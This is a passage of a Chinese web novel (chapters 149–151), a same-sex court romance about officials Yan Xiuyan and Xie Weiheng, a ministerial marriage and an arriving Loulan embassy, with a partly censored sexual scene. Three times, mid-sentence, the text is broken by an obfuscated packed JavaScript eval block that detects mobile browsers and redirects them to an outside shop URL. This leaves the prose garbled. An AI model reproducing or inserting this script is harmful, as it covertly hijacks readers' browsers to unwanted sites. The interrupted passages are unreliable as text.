燕修延靠在谢伟恒肩头,笑得肩膀直抖,差点岔了气,连眼角都笑出了泪,他都快听不懂‘干柴烈火’这四个字了! 这两人真是一个敢说,一个敢信! 谢伟恒扶着燕修延的腰,怕他笑倒,低头在他耳边,用只有两人能听见的声音,低笑道:“燕大人何时与我也‘干柴烈火’一次?” 燕修延浑身一僵,笑声戛然而止。 他抬头瞪了谢伟恒一眼:瞎凑什么热闹!那你倒是说说昨晚那算什么! 谢伟恒勾着唇,指尖轻轻蹭过他的腰侧,笑得意味深长:“算……燕大人性烈如火。” 燕修延:…… 他已经对谢伟恒这种乱用词的本事,彻底麻木了,只狠狠掐了他腰一下,转头装聋作哑。 今日早朝并无大事,很快便散了。 虞睿祥叫住两人,随口问起漠宁两位大人的婚事进展。 燕修延立刻拽着谢伟恒的衣袖,光明正大的站在一旁听墙角。 吏部尚书躬身回话,语气沉稳:“回禀陛下,臣已备好聘礼,将择吉日下聘,而后请人算日子交由宁大人的父母过目。” 礼部尚书一脸惊讶:“都忙成这样了,你居然还有时间准备聘礼?” 燕修延起哄,拖长了调子喊:“陛下,你看漠大人能力多卓越,不如给他多派点活,这样就不能给我派了嗷!” 礼部尚书立刻皱起眉,一本正经地护着:“漠大人已经很忙了,不能再加了!” 燕修延笑得更促狭了:“呦呦呦,这就护夫了?” 礼部尚书一本正经地纠正:“燕大人,你错了,我这叫护妻。” “哦——” 燕修延拖长了声音,一脸“我懂了”的表情,笑得眼睛都弯了。 吏部尚书下聘的第二日。 楼兰的回信终于送抵京城,摆在了虞睿祥的御案上。 信是以楼兰国王的口吻写的,通篇都在把所有罪责推到国师身上,声称王室毫不知情。 然后又话锋一转,说国师毕竟是楼兰人,不能一推了之。 愿派出使团出使大虞,送上良马、美女,并将国师押送至京城,任由处置。 虞睿祥看完,便让燕修延拿去看。 燕修延一目十行扫完,皱着眉点评:“字丑,错字还多,整个楼兰找不出一个精通我大虞文字的人?” 说着,他就把信递给了谢伟恒:“你也看看,别让我一个人伤眼睛。” 虞睿祥有些好笑,燕修延那一手跟鸡爪爬似的字,也好意思说别人字丑。 谢伟恒接过信,只扫了两眼,便一针见血道:“对方是在藏拙示弱,这字应该是反手写的。” 燕修延愣了,把信又抢回来颠来倒去地看:“你怎么看出来的?” “哪怕是反手写字,落笔的习惯、轻重还是藏不住的。” 谢伟恒拿起案上的笔,先正着写了一个字,再反手写下同一个字,递到他面前。 燕修延盯着那两个字,眉头从皱紧到慢慢舒展,突然眼睛一亮:“哦!原来弹劾季风儿子科考行贿那道折子,是你写的啊!” 谢伟恒勾唇轻笑:“燕大人好记性。” 燕修延得意地扬了扬下巴:“那是,谢书令可真厉害,还能反手写字。” 虞睿祥实在听不下去了,无情打断:“要互夸,回去关上门,躺床上随便夸。” 燕修延把信放回御案,一脸不赞同地看着他:“陛下,你怎么一说话就离不开床?身为一国之君,下次注意点影响!” 虞睿祥扯了扯嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646306|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,语气带着点威胁的笑意:“朕是一国之君,想说什么就说什么。信不信,朕当朝下旨,让你和伟恒回家‘干柴烈火’,十日后再上朝?” 谢伟恒起身,拱手行礼,语气恭恭敬敬:“臣,谢陛下隆恩。” “你闹呢?!” 燕修延一把把谢伟恒拉回椅子上,狠狠瞪了他一眼,压低声音道:“真想让全京城百姓把咱们俩当茶余饭后的谈资啊?” 谢伟恒低笑:“世人只会说,燕大人与我恩爱有加。” 燕修延斜了他一眼,伸手捏住他的脸颊,手动替他闭了嘴,转头看着虞睿祥,语气带着点控诉:“陛下,合着外面传漠大人和宁大人‘干柴烈火’两天的事儿,都传到你这儿来了?” 虞睿祥看着谢伟恒被捏得嘴巴都扁了,却依旧端坐着,连眉头都没皱一下,忍不住用拳头抵着唇,闷声笑了起来:“宫人私底下在传,朕听了一耳朵。” 燕修延松开手,往椅子上一靠,故意叹气:“陛下要是同意楼兰使者进京,宁大人又要忙到想辞官了。” 虞睿祥看着谢伟恒,语气随意:“这事,朕交给谢卿去办吧,他曾在礼部任职,熟悉这些事务。” “那不能够啊,陛下!” 燕修延想也不想就开口,“谢书令现在管的是中部,手伸到礼部去不合适。” 虞睿祥挑了挑眉,语气带着点揶揄:“这就心疼了,不想伟恒太累?” 燕修延一脸沧桑:“陛下你不懂。” 谢伟恒要是累着了,他只会更累,因为谢伟恒会撒娇让他主动…… 就不能太惯着谢伟恒! 虞睿祥不知道燕修延想到了什么,突然恶狠狠瞪了谢伟恒一眼。 只是这恶狠狠的眼神里,明明带着气,却又裹着说不清道不明的意味,忍不住又笑了。 “吏部整理出来的供词,比你在艾木都拉那里问出来的内容,只多不少。” 虞睿祥先就艾木都拉的事情派人去楼兰兴师问罪,如果吏部问出来的东西更多。 他就能等使臣到了之后,再当众问一次罪。 这样就可以多要两次好处。 燕修延搓了搓手,眼睛都亮了:“那咱们可以再多要点马了!” 谢伟恒适时提醒:“可以让他们送几名马倌过来,也方便驯马。” 燕修延转头夸他:“谢书令可以啊,想得真周到!” 谢伟恒勾唇:“燕大人谬赞了。” 虞睿祥扶着额,一脸无奈:“要夸,滚回去关起门夸去!” 149. 说他肤浅,开什么玩笑 楼兰使团进京,虞睿祥特意传了口谕,言明接待事宜不必精益求精,面上端庄大气、挑不出错处便可。 这事礼部尚书熟啊,面子上看着端庄大气挑不出错,那可太简单了。 他直接将琐碎事务尽数交给手下属官打理,自己只在一旁前前后后踱着,偶尔开口纠正一两处疏漏,过得清闲自在。 “呦,宁大人。” 礼部尚书沿着街边缓步而行,正琢磨着去找吏部尚书,耳畔忽然传来一道熟悉的调笑之声。 抬眼望去,只见临街茶楼二楼窗畔,燕修延斜倚着木栏,他随手挥了挥衣袖,眉眼间满是促狭:“宁大人今儿怎么一个人晃悠?” 礼部尚书脚步一顿,转身踏入茶楼,木质楼梯被他踩得“噔噔噔”作响,不多时便推开了雅间房门。 他也不见外,径直拿起桌上空置的茶杯,拎起茶壶斟满热茶,仰头灌了一口,才满脸郁闷地开口:“别提了,也不知道漠大人在忙些什么,忙完差事再去找他,府里府外都寻不见人,连他府上管家都摸不清他的去向。” 燕修延指尖摩挲着拇指与食指,笑得一脸精明,慢悠悠抛出诱饵:“监察司找人的功夫,在京里可是数一数二的,宁大人若是着急……” “不着急。” 礼部尚书大手一挥,干脆利落从袖中掏出碎银放在桌上,语气笃定:“找到了直接给我抓过来就行。” 燕修延收下银子,抬手打了个清脆的呼哨。 两道身影便从窗口冒出头来,白天铎先探着脑袋往里看,笑嘻嘻地跳了进来:“我就说听到头儿的哨声了,肖泽还非说我听错了!” 紧接着肖泽也身姿利落的跃入雅间,神情沉稳。 燕修延将银子丢给白天铎,沉声叮嘱:“说了多少次,临街楼阁走正门,少翻窗。去,把吏部尚书给我找来。” “好嘞!保证完成任务!” 白天铎乐呵呵地把银子揣进肖泽怀里,二话不说拉着肖泽从雅间门口快步离去。 燕修延坐直身子,撑着下巴看向礼部尚书,满眼好奇:“话说回来,陛下给你和漠大人赐婚,你家里人知晓后,是什么反应?” 礼部尚书一脸茫然,端着茶杯的手顿了顿,理所当然道:“什么什么反应?陛下金口玉言赐婚,就算有别的心思,也只能憋着啊,难不成还敢抗旨不成?” “哦。” 燕修延重新靠回椅背上,心里暗自嘀咕,他总觉得吏部尚书那般沉稳心思,怕是早就预谋已久,说不定早和礼部尚书的家人暗中串通好了,才促成了这桩赐婚。 礼部尚书喝完杯中茶,又给自己添了一杯,随即挪了挪凳子,凑到燕修延身侧,压低声音,脸上带着几分羞涩又忐忑的神色,小心翼翼问道:“燕大人,我问你个事儿啊,男子与男子行周公之礼,会不会很容易伤到对方啊?” “噗——” 燕修延刚端起茶杯抿了口茶,闻言猛地一呛,满口茶水尽数吐在地上,剧烈地咳嗽起来,脸颊瞬间涨得通红。 他一边拍着胸口顺气,一边哭笑不得地看向礼部尚书:“咳咳咳……你、你怎么好端端问起这个?” 更何况谢伟恒就坐在他左手边,即便声音放得再低,以谢伟恒的耳力,定然听得一字不落! 燕修延余光瞥向身旁之人,只觉得耳根微微发烫。 礼部尚书挠了挠后脑勺,神色越发不好意思,小声解释:“我找了些相关的书籍来看,上面都说初次行事,很容易伤到对方,所以想向你取取经。你当时伤着谢大人了没?那、那感觉又是怎么样的?” 燕修延的表情变得微妙至极,一时语塞,不知该如何作答。 谢伟恒始终沉默不语,只是慢条斯理拿起干净锦帕,俯身轻轻擦拭掉燕修延嘴角沾染的茶渍,眼神里裹着旁人看不懂的笑意,却并未插话。 “咳,这种私密之事,拿出来谈论总归不太好。” 燕修延摸了把鬓角,高深莫测道:“我自然不会伤着谢大人,至于个中滋味,等你与漠大人成婚之时,亲自问他便知道了。” 礼部尚书眨了眨眼,只觉得燕修延说了等于没说,完全是句废话。 可转念一想,这也是人家夫夫关起门来的私事,怎好直白告知,便也不再追问。 暗自打定主意,回去再多翻几本古籍研习。 燕修延看着他的模样,又忍不住开口:“你对陛下这道赐婚倒是接受得挺快。” “那不然呢?那可是陛下亲自赐婚,谁敢抗旨啊?” 礼部尚书脸上露出几分庆幸的神色,语气真切:“幸亏是指给我与漠大人成婚,倘若陛下随便给我指了别的大臣,那我才真真是要头疼了。” 满朝文武之中,他与漠大人玩的最好,若是换了旁人,他怕是真的要冒着杀头的风险,也不愿接下这道圣旨。 燕修延忍不住提醒他:“漠大人给你下聘,你是不是弄反了什么?” 礼部尚书一脸坦然,神色认真:“嫁娶不过是个形式罢了,没必要太过在意这些俗礼,燕大人,是你想的太肤浅了。” 燕修延一噎,伸手指着自己,满脸不可置信:我!肤浅? 雅间门外传来轻轻的叩门声。 白天铎与肖泽一前一后走进来,身后架着神色无奈却并无怒意的吏部尚书。 谢伟恒伸手拿起桌上一块杏仁酥,轻轻递到燕修延嘴边,随即凑近他耳畔,用只有两人能听到的声音低声道:“燕大人自然是极有内涵的,旁人不懂无妨,你知,我知便够了。” 燕修延张口咬下杏仁酥,酥香在舌尖化开,看见礼部尚书高高兴兴地拉着吏部尚书在桌边坐下,全然没了方才找人的焦急。 分神想,谢伟恒话里藏着别的意思。 “各位大人,人我们找来了,就不打扰各位雅兴,先行告退。” 白天铎笑嘻嘻地行了个礼,拉着肖泽快步离开,丝毫不做停留。 走出茶楼,白天铎便凑到肖泽身边,挤眉弄眼,一脸八卦:“刚才谢大人对着头儿耳边说的悄悄话,你也听见了吧。” 肖泽无奈地弹了下他的额头,压低声音叮嘱:“听见了也得当作没听见,往后在头儿面前半个字都不许提。” “放心,我又不傻!” 白天铎拍着胸脯保证,眼底满是戏谑:“头儿肯定没听出谢大人话里的意思,没想到啊谢大人是这样的谢大人。” 肖泽伸手掐了下白天铎的腰,沉声警告:“你可别去监察司里说,不然头儿收拾完温瑞那个大嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646307|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴,下一个就该追杀你了。” 白天铎反手勾住肖泽的脖子,笑嘻嘻道:“我嘴严得很,才不会像温瑞那样到处乱说!” 肖泽抬头望天,默默无语,这两人分明是半斤八两,谁也别说谁。 雅间内,吏部尚书听完礼部尚书花钱找监察司寻自己的事,忍不住低笑出声,眼神温柔地看着他:“我想着你忙完差事,定会来寻我,便在你书案上留了字条,说去置办成亲要用的物件,想来是你没看见。” 他去礼部的时候,见人忙着处理使团事宜,便没打扰,留下字条便离开了。 礼部尚书仔细回想了一番,脸上瞬间露出心虚的神色。 “我方才从同僚那拿了些吃食,吃的时候不小心撒了一桌子,随手就拿桌上的纸擦了桌子,之后便丢掉了……” 吏部尚书好笑的拿起锦帕,轻轻擦掉礼部尚书嘴角刚沾上的点心碎屑,语气没有半分责备:“是我考虑不周,往后我无论去哪儿,都当面与你说,再也不留字条了。” 燕修延将这一幕尽收眼底,转头看向谢伟恒,眉尾微微上挑,用眼神无声询问:你信宁大人是……? 谢伟恒迎上他的目光,唇角勾起一抹浅淡的笑意,同样以眼神回应:你信,我便信。 燕修延扯了扯嘴角,他反正是不信! 不过,看着旁人这般看待他与谢伟恒的关系,都觉得是他占了上风,燕修延眼底不自觉泛起一丝得意的神采。 他这副小得意的模样,看得谢伟恒心中起了痒意。 吏部尚书抬眼,精准捕捉到谢伟恒眼中的情绪。 非常有眼色的随便说了几句话,便找了个得体的借口,拉着还想唠嗑的礼部尚书匆匆离开了雅间,主动给二人腾出空间。 “他俩可真有意思,等成婚那日,我定要好好闹闹洞房。” 燕修延坏笑着转头看谢伟恒:“谢书令今儿这么安静……唔……” 谢伟恒不由分说地吻了上来,唇齿间的触碰温柔,却又藏着几分压抑不住的急切。 燕修延下意识搂住谢伟恒的肩膀,心头暗自纳闷,这人今儿又受了什么刺激? 察觉到腰间的手缓缓往下,燕修延眼皮微微一颤,伸手按住谢伟恒的手,压低声音呵斥:“这是在外面,别撒疯。” 谢伟恒不依不饶,声音低沉沙哑:“那,燕大人回去陪我疯,好不好?” 燕修延下意识扫了一眼半掩的窗户,窗外街边小贩的叫卖声、行人的说话声清晰入耳。 在这里肯定不行,直接拒绝吧万一谢伟恒真的不管不顾在这里发疯可就不好了。 燕修延只能含糊应道:“回去再说。” 两人离开茶楼时并未乘坐马车,一路并肩缓步而行。 走着走着,燕修延渐渐察觉出不对,脚下的路线愈发偏僻,根本不是回府的方向。 他猛地停下脚步,警惕地看向谢伟恒:“这不是回府的路。” 定睛一看,前方路径分明是前往芙蓉池的方向。 大热天的泡温泉,疯啦? 谢伟恒看穿了燕修延心中所想,唇角勾起温柔的笑意,轻声解释:“芙蓉池从别处引来的活山泉水,水质清冽,凉意沁人,最是消暑,燕大人随我一试便知。” 150. 越发没个正形了! 燕修延缓步走到池边,微微弯下腰身,骨节分明的手指轻轻探入水中,清凉温润,丝毫不显刺骨冰寒,泡在身上定然是极舒坦的。 他收回手,指尖还沾着晶莹的水珠,抬眼看向身旁的谢伟恒:“泡这个,一次要多少钱?” 谢伟恒立在一旁,身姿挺拔,眉眼间尽是温和笑意:“五两银子,泡汤还会附赠时令瓜果与上好的茶酒。” “多少?” 燕修延抬眼,原本淡然的语气瞬间拔高:“这么贵?谁会傻到来这里泡……也是,京城最不缺的就是达官显贵,家财万贯,五两银子在他们眼里,不过是九牛一毛,压根算不上什么钱。” 这世上的有钱人向来奇怪,越是价格高昂的东西,反倒越是趋之若鹜,拼了命地争抢,这种奢靡的消费心思,他这辈子怕是都没法理解。 燕修延皱了皱眉,又接着问道:“平日里来这里泡的人多不多?” 谢伟恒解下自身外袍,随手搭在一旁的衣架上,而后迈步走到燕修延身边,伸手替他解开外衣的系带,动作自然又亲昵,带着不容拒绝的温柔。 “这里一共二十八间汤池,日日客满,从无空缺。” 燕修延心中快速一算,一天下来便是足足一百四十两银子,赚钱原来这么轻松的吗? 他攥住谢伟恒的手腕,连忙说道:“那咱们换个地方,别耽误做生意赚钱——喂,你——” “咚!” “哗!” 水花四溅。 燕修延猝不及防落入温泉水里,呛了两口水,慌忙从水里探出头,湿漉漉的发丝贴在额前与脖颈边,水珠顺着脸颊、下颌线不断滑落,他抬手胡乱抹了把脸上的水,抬眼瞪着身旁的始作俑者:“谢伟恒,你招呼都不打一声?” 谢伟恒伸手将燕修延轻轻抵在池壁边,俯身凑到他,温热的气息拂过燕修延的耳尖:“凫趋雀跃。” “……有毛病。” 燕修延抬手攥住谢伟恒垂落在肩头的发丝,微微用力往后一扯:“我想到一个问题……” 谢伟恒不恼任由他扯着自己的头发,转身伸手端过池边石桌上摆着的冰酪。 他用指尖蘸取一点,轻轻擦在燕修延的唇瓣上:“就地取材,正好用得上。” 燕修延舔了舔下唇的冰酪:“浪费食物是可耻的,谢书令怎可如此随性。” 谢伟恒轻轻吻上他的唇:“放心,不会浪费半分。” “喂。” 燕修延伸手轻轻推开谢伟恒,偏过头平复着急促的呼吸:“你还没说……” 谢伟恒的**突然在燕修延的**d一下 燕修延眉头微微拧起,指尖用力握紧谢伟恒的手臂,带着几分无奈与不解:“好歹等我把话说完,你今天怎么这般着急?” 谢伟恒垂眸,眼底是化不开的浓情与缱绻,目光紧紧锁在燕修延脸颊、湿漉漉的眉眼上:“燕大人得意的样子,实在惹人心痒,恨不得将你好好藏起来,关在无人之处不让旁人多看一眼。” “我哪里得意了?” 燕修延脑中一片混沌。 算了,索性不再多想,反正论起讲道理、说情话,自己永远说不过谢伟恒,这人总有千百种说辞。 燕修延伸手紧紧攀附住谢伟恒的肩膀,微微偏头,在他紧实的肩头上,轻轻留下一个深深的牙印。 事后,谢伟恒kou出燕修延里面的** (过程读者们自己想一下吧,作者尽力了,求过求过求过!!!) …… “啧,酸。” 燕修延斜倚在矮榻上,嚼了两口便皱起眉,扭头将葡萄核吐在一旁的瓷碟里。 他斜着眼看向谢伟恒,语气里满是控诉:“我都累成这样了,你居然给我吃酸葡萄。” 谢伟恒坐在他身侧,闻言低笑出声,连忙顺着他的话认错:“是我的错,是我没挑好。” 他伸手拿起一颗饱满圆润的葡萄,仔细剥掉薄薄的果皮,先将葡萄皮里的甜汁吮尽,确认甜度足够,才递到燕修延唇边:“这个甜,你尝尝。” “嗯哼。” 燕修延张口吃下,甜津津的汁水在口中散开,这才满意地眯了眯眼,一边慢悠悠吃着葡萄,一边开口:“休息一会儿咱们就回去,这瓜果吃着解馋,却不顶饱,饿的还是自己。” “稍等片刻。” 谢伟恒揉了揉他的头发,起身往外走去,不过片刻功夫,便提着一个精致的食盒折返。 他将食盒放在矮榻前的小几上,轻轻打开,将里面的菜碟一一取出,摆得整整齐齐。 燕修延坐起身,抬眼扫过桌上的菜肴,皆是做工精细、耗时耗力的功夫菜,色香味俱全,他挑了挑眉,看向谢伟恒:“谢书令这是早有准备啊,连饭菜都提前备好了。” “来的时候,便特意吩咐后厨精心烹制,这会儿过来,温度正好,吃着最是适口。” 谢伟恒拿起筷子,夹了些燕修延爱吃的菜肴放进碗中,随即双手递到他手边,语气温柔:“我已经吃饱了,自然不能让我的燕大人饿着肚子。” 燕修延接过饭碗,低头专心扒拉饭菜,对谢伟恒这番温柔的话语,索性左耳进右耳出——不听不听,王八念经,吃饱才是头等大事。 吃饱喝足,燕修延又抱着半个冰镇西瓜,拿着小勺子,一勺一勺慢悠悠地挖着吃。 饭饱之后,正好用清甜的西瓜溜缝,惬意不已。 “等楼兰的美女送到京城,陛下估计就要顿顿吃药膳调理身体了,美色当前,哪能把持得住。” 燕修延吐掉嘴里的西瓜籽,继续分析:“若是楼兰送来的美人,有幸怀上陛下的孩子,那岂不是正合了楼兰最初的用意,怕是会生出不少事端。” 谢伟恒伸手握住他拿着勺子的手,顺势吃掉他刚挖出来的一勺西瓜瓤,眉眼淡然地回道:“不必太过忧心,陛下心思深沉,做事自有分寸,不会因儿女情长误了国事。” “不好说啊。” 燕修延摇摇头,语气带着几分笃定,“自从黎姐入主中宫,当上皇后,陛下骨子里的好色本性,可是显露了不少。” 陛下后宫本就妃嫔众多,前不久刚结束选秀,又添了不少新人。 而且起居郎说了,陛下有时候一晚上能翻三个嫔妃的牌子,这般勤勉,可不是好苗头。 谢伟恒握着燕修延的手,指尖轻轻摩挲着他的掌心,眼底带着几分独占欲:“还是我的燕大人最好,只翻我一个人的牌子,若是能夜夜都翻,那便再好不过了。” 燕修延伸手轻轻戳了戳谢伟恒的脸颊,无奈又好笑:“你收敛点吧,这般不知节制,郑太医见了肯定会让你修身养性。” 谢伟恒语气带着几分得意:“放心,郑太医给的药膳方子,厨房每日都会照着方子做上一两道,悄悄加在饭菜里。” “每天?” 燕修延瞪大眼睛,满脸惊讶:“我怎么一点都没吃出来?” 好嘛,亏他还笑话陛下沉迷美色、顿顿药膳,到头来,自己也在不知不觉的每天都吃着药膳调理身体,当真是风水轮流转。 谢伟恒俯身偏头轻轻吻去燕修延下巴上沾着的西瓜汁:“厨房特地将药膳的味道处理过,与寻常饭菜毫无二致,自然吃不出来。” “你真的是……” 燕修延看着他,一时语塞,想不出合适的词语来形容他。 想着让谢伟恒节制一些,可转念一想到,不久之后自己要领兵奔赴战场,届时山高路远,一年半载都未必能见到一面。 算了,随他去吧。 只要身体无碍,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646308|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会出现力不从心的情况,便由着他。 燕修延也想得开,活在当下,先快活一天是一天,未来的烦心事,留到日后再愁。 计民数的事宜彻底结束后,虞睿祥便开始着手,一步步大刀阔斧地推行新政。 其中,减税赋、轻徭役、鼓励百姓经商的政令,最是深得民心。 对于各地关押的犯人,虞睿祥也做出了新的处置:依照罪行轻重划分,罪大恶极的重刑犯,一律发配前往边疆开荒、进山挖矿,做最苦最累的活计; 罪行较轻的囚犯,则安排到已经开垦好的田地里耕种,或是修补破损的城墙、修建防洪堤坝,将原本需要百姓服徭役做的苦差事,尽数摊派到罪犯头上,既减轻了百姓的负担,又能让罪犯劳改赎罪,一举两得。 在征兵制度上,虞睿祥也做出了重大更改。 家中仅有两名适龄男丁的,只允许一人参军,参军者家人可免除全部税赋与徭役。 家中男丁数量众多的,只要有一人自愿参军,全家便能在原有税赋的基础上,再减三成赋税。 政令一出,天下百姓参军的意愿空前高涨,报名参军者络绎不绝。 燕修延担心的就一样:别招来都是晋王的私兵这样式的,日后军营会生出祸端。 糟心,太过糟心了。 虞睿祥听了燕修延的担忧,不由得好气又好笑:“你放心,朕亲自交代下去征兵,日后交到你手上的军队,定然是层层筛选出来的精锐,绝不会出现你担心的情况。” “算了,靠人不如靠己。” 燕修延摇了摇头:“有时间我亲自前往军营操练新兵,连同之前层层筛选出来的那一千人,一并亲自管教。” 只有日日与士兵相处,亲自训练,才能彻底了解每个人的秉性、特长,做到知人善任,将每个人的能力都发挥到最大,才能练就一支所向披靡的精锐之师。 “随你。” 虞睿祥深知,日后边境战事,定然要交由燕修延领兵出征,对于练兵之事,他不做过多干涉,全然放手让燕修延做主。 征兵事宜才刚刚开始,练兵的事情暂且不急,从长计议即可。 当下,朝野上下最紧要的事,便是即将抵达京城的楼兰使团。 楼兰使团踏入大虞国土的那一刻,虞睿祥便立刻以“保护使团安全”为由,派遣军队将一行人严加看管起来,全程寸步不离。 使团进京的路线,也是特意规划,所经之处皆是大虞最繁荣富庶。 只是待到使团进入京城,鱼龙混杂,再用这般法子便不合适了。 虞睿祥坐在龙椅上,抬眼看向下方的燕修延:“使团进京之后,你派人全天候盯紧他们,不得有丝毫松懈,但凡有任何风吹草动,立刻上报。” 燕修延眨了眨眼,故作为难地开口:“陛下,楼兰使团人数众多……” “监察司的人手,不比使团少。” 虞睿祥合上奏折,神色冷酷,直接杜绝了他讨赏的念头:“此前抄家晋王及其同伙,监察司分得的财物已然不少,足够开销,你就别想着再讨要赏赐了。” “也还好吧,不算多……” 燕修延心虚地移开视线,摸了摸鼻子,知道自己的小心思被戳破,索性耸耸肩,妥协道:“行吧,我定会让监察司的人好好跟着使团,保证他们上茅房都有人盯着,事无巨细,一一记录在册,回头详细禀报陛下,他们每天吃了什么、拉了什么,保证一字不落。” 虞睿祥被他这番无赖又调皮的话气得又好气又好笑,随手拿起桌上一本奏折,朝着他扔了过去,佯装发怒:“修延,你皮紧了是不是!越发没个正形!” ———————————— 虞睿祥:朕那是三缺一,三缺一啊歪!!!朕不好色,谢谢!! 151. 乖乖一个人打地铺吧 楼兰使团进京这日,燕修延裹着神锦衾,慵懒地翻了个身,眉眼惺忪,满腹不情愿地慢吞吞从床上支起身子,长长一串唉声叹气从嘴里溢出来,委屈又无奈。 真是的,楼兰这群人的脚程就不能再慢上几分? 若是能拖到后天再抵达京城该多好。 后天有早朝,本就躲不掉要早早起身上朝,那时候早起也就起了。 “使团来就来呗,又用不着我去迎来送往、费心接待。” 燕修延半睁着眼,眼底还蒙着一层未散尽的睡意,嘴里嘟嘟囔囔地碎碎念,垂着脑袋慵懒拖沓地挪到盥盆旁。 随手拿起冰凉的湿帕子,胡乱在脸上敷衍擦了两把,睡意半点未消。 谢伟恒缓步走到燕修延身前,骨节分明的手指拾起叠放整齐的月白外袍,身姿挺拔温雅,耐心细致地替他拢好衣襟、系上盘扣,每一个动作都轻柔妥帖,眉眼间尽是化不开的温柔缱绻。 “我已经吩咐厨房,做了你平日里最爱吃的早膳。” 燕修延抬眼,看着眼前人一丝不苟为自己整理衣衫的模样,忽然狡黠一笑,微微将脸埋进谢伟恒的颈窝,脸上沾的凉水尽数蹭在他细腻温热的肌肤上。 谢伟恒脖颈微痒,低低的笑意从喉间漾开,无奈又纵容:“燕大人故意的。” 燕修延又捧起他的脸,不由分说微微仰头,有恃无恐的在他柔软的唇瓣上轻轻咬了一下:“今日使团入宫觐见,可不能迟到。” 谢伟恒温热的手掌悄然滑至燕修延的腰侧,指腹带着温热的温度轻轻摩挲揉捏,动作暧昧缠绵:“好在明日无需早起,大可好好歇息。” 燕修延像条灵敏滑溜的泥鳅一般,身子一扭轻巧避开,脚下快步后退,转身拔腿就跑:“今晚我要亲自去盯梢,你不必等我回来了!” 谢伟恒垂眸捻了捻方才触碰过他腰身的指尖,似乎还残留着温热的温度,唇角勾起一抹浅淡又了然的轻笑,缓缓开口:“究竟是什么样的人物,竟值得身居高位、素来清闲的燕大人亲自前去盯梢?” 燕修延想也不想随口脱口而出:“楼兰国师,就他心思最深、城府最沉、最坏,自然要重点盯着他。” “是吗?” 谢伟恒语调淡淡,眸底掠过一丝深思:“我记得昨日你才吩咐温泽,让他带人暗中盯住楼兰国师的行踪。” 燕修延心头微微一滞,理直气壮地回过头,一本正经地找着冠冕堂皇的借口:“温泽做事不够缜密细致,我怕他办事不妥、遗漏端倪,辜负陛下托付的重任。为国尽心,我自然要亲自前去才放心。” 嘴上说得大义凛然,心里却打得清清楚楚的小算盘。 不过是随口找个由头罢了,夜里盯梢照旧交给温泽去忙活,自己转头偷偷溜回隔壁卧房睡个安稳好觉。 谢伟恒脸上的笑意骤然淡了几分,温润的眉眼微微敛起,周身温柔的气息悄然褪去,染上一层淡淡的沉郁。 燕修延心头猛地一跳。 糟了,这家伙又要开始演委屈了,不是,这还能怎么演? 谢伟恒缓缓转头望向窗外,侧脸线条清俊冷冽,面色沉静如水,语气平淡却透着浓浓的酸意:“素闻楼兰国师生得样貌绝美、风姿卓然,宛若九天天神下凡,容貌冠绝西域诸国,燕大人你……” 酸意几乎要顺着话语溢出来。 “那是你素闻,又不是我素闻。”燕修延连楼兰国师是高是矮、是胖是瘦、是圆是扁都全然不知。 谢伟恒抿着唇,垂着眼眸一言不发,眉眼间委屈落寞的神色愈发明显,安静沉默的模样反倒更让人心中不忍。 燕修延最受不得他这副样子,明知道是刻意佯装的小性子,看着那泫然欲泣般的委屈神情,终究还是无奈妥协,叹了口气:“行了行了,我依旧让温泽带人去盯,我不去了,这样行了吧?” 谢伟恒脸上沉郁委屈的阴霾瞬间一扫而空,仿佛雨过天晴一般,眉眼弯弯漾起温润笑意,眸光澄澈明亮,温声应道:“好。” 燕修延抬手无奈揉了揉发胀的眉心。 狗样子。 德性。 他倒要好好瞧瞧,那位被传得神乎其神的国师,到底生得何等倾城容貌,竟能让素来清冷自持的谢伟恒这般如临大敌、醋意横生。 楼兰使团全数抵达京城皇城之下,虞睿祥大排筵宴,设宴专程款待。 殿内文武百官分列两侧,衣冠楚楚,衣香鬓影,一派祥和盛景。 燕修延端着一盏白玉酒杯,慢悠悠从自己席位起身,借着人影错落的遮掩,悄悄溜到礼部尚书身侧,小声打探:“哪个是他们国师?” 方才使团一一引荐之时,他侧头和谢伟恒互相捏着手指玩,半点没将耳边的介绍放在心上。 礼部尚书侧目扫过殿内一众楼兰来人,目光快速扫视一圈,压低声音如实回道:“瞧见没,席间身形最圆的那一位便是。” 最……圆? 燕修延一眼便在人群中精准锁定了大殿里身形最为圆润的那人。 “这个球,是楼兰国师?” 头顶虽有毛发,却稀疏浅薄,头顶心一片锃亮光洁。 圆圆的脑袋搭配滚圆的身躯,身形不算高大,个头偏矮,整个人团团鼓鼓,看着憨态十足。 起初燕修延还以为对方是坐在席位之上,定睛细看片刻才发现,对方分明是直直稳稳站在原地。 